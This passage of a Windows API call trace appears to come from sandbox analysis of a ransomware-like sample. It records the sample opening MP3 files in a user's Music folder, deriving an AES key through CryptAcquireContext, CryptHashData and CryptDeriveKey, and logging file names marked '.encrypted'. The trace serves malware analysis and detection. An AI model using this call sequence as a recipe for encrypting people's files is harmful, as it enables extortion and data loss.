lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.751] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.751] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.751] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.751] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.751] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.751] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.751] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6371) returned 1 [0026.751] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.752] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x18e3, lpOverlapped=0x0) returned 1 [0026.752] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x18e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.752] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6371) returned 1 [0026.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.encrypted.mp3\r\n", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0026.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.encrypted.mp3\r\n", cchWideChar=50, lpMultiByteStr=0xe8f404c350, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 50 [0026.752] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051090*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051090*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x31, lpOverlapped=0x0) returned 1 [0026.752] CloseHandle (hObject=0x1fc) returned 1 [0026.753] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.753] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.753] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.753] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.753] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.754] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.754] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.754] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.756] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.756] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.756] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.mp3", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0026.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.mp3", cchWideChar=48, lpMultiByteStr=0xe8f404be10, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.mp3", lpUsedDefaultChar=0x0) returned 48 [0026.756] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\7hpbkbpy8qxzhhut.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48 [0026.756] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=48, lpWideCharStr=0xe8f4062330, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\7hpbkBpy8QXZhHut.mp3") returned 48 [0026.757] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.757] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.757] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.758] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.758] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.758] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.758] CloseHandle (hObject=0x1fc) returned 1 [0026.758] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.758] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.758] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.758] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.758] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.759] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.759] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.759] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.759] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.760] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.760] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.760] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.760] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.760] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.760] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.760] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.760] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.760] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0026.760] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.760] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.760] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.760] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.761] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.761] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.761] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.761] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.761] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.761] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.761] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.761] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.762] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.762] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.762] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.762] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b270, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.762] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.762] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.762] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.762] 